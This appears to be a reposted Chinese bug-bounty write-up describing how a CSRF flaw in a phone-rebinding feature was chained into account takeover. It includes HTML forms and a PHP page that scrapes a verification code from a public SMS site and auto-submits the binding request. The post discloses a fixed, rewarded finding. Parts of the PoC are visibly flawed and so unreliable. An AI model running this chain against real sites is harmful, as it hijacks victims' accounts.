vlambda博客
学习文章列表

一个低危CSRF漏洞的逆袭

【周度激励】

  1.【火线项目案例】如何挖到空白页面的高危级别未授权漏 https://t.zsxq.com/mUvJQBa 

  举起手来 第一名:500查克拉奖励,500元现金。

  2.Gitlab错误配置 https://t.zsxq.com/bMNvJ6i Wooooooo 第二名:300查克拉奖励,300元现金。3.越权测试小tips https://t.zsxq.com/EUnAmQB amirex 第三名:200查克拉奖励,200元现金。

这次不是空白页面了,讲一个几年前提交的CSRF逆袭成任意密码重置最终拿到高危漏洞奖励的案例,希望大家可以举一反三,分享更多有意思的利用方式。

一般来说CSRF在前端漏洞中属于鄙视链的最底层来,危害往往需要结合业务场景综合考虑。这次项目是几年前参加的一个私密项目,不过现在这个厂商还没有倒闭,这次打马可要小心一点了。

1.信息收集

注册完账号发现可以不经过旧手机号的验证绑定新手机号,思考一下,这里好像不太对劲,此事必有蹊跷啊~

经过测试修改手机处的确存在CSRF漏洞,但是有一个短信验证码的变量啊,这个可不是固定的,思考一下,新手机号我可以指定的啊,那么短信验证码我也是已知的啊,这不就得了么,我可以构造两个CSRF的连环攻击来实现1click的任意手机号码绑定,说干就干,网上有很多公共的短信验证码在线接收平台。

https://www.smsbo.com/messages/600fb5dcd5f46474bb8b4d0f

1.构造发送验证码的POC

我们先构造一个向指定手机号发送验证码的POC

<html>
<body>
<form action="http://www.target.com/account/bindMobileSendCode" method="POST">

<input type="hidden" name="phone" value="16517689338" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

2.构造绑定手机号的请求

<html>
<body>
<form action="http://www.target.com/account/bindMobile" method="POST">
<input type="hidden" name="phone" value="16517689338" />
<input type="hidden" name="code" value="<?php echo $code;?>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

3.构造攻击链POC

<html>
<body>
<?php
$url = 'https://www.smsbo.com/messages/600fb5dcd5f46474bb8b4d0f';
$ch = curl_init();
curl_setopt($ch, CURLOPT_FILE, fopen('php://stdout', 'w'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_URL, $url);
$html = curl_exec($ch);
curl_close($ch);


$re_pattern = '<span class="font\-weight\-bold code\-number code\-btn" data\-clipboard\-text="(.*?)">';
preg_match($re_pattern, $html, $matches);
$code = $matches[1];
if($code!=''){
echo '<script language=javascript> setTimeout("document.getElementById("bindcode").submit()",10000)</script>';
}
?>


<form id="bindcode" action="http://www.target.com/account/bindMobile" method="POST">
<input type="hidden" name="phone" value="16517689338" />
<input type="hidden" name="code" value="<?php echo $code;?>" />
<input type="submit" value="Submit request" />
</form>
<html>


<form id="sendcode" action="http://www.target.com/account/bindMobileSendCode" method="POST">
<input type="hidden" name="phone" value="16517689338" />
<input type="submit" value="Submit request" />
</form>
<script language=javascript>document.getElementById("bindcode").submit()</script>


</body>
</html>



用户点击触发利用链,将手机号码绑定为我指定的手机号码

成功绑定后可通过我的恶意手机号码进行密码找回,登录目标账户

一个低危CSRF漏洞的逆袭

漏洞处理:

提交漏洞 2017.07.19

确认漏洞 2017.07.20

确认奖金 3000元 2017.07.25

马赛克火线Zone公开 2021.03.26



【火线Zone】


火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火小表妹]免费加入~

我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!

欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!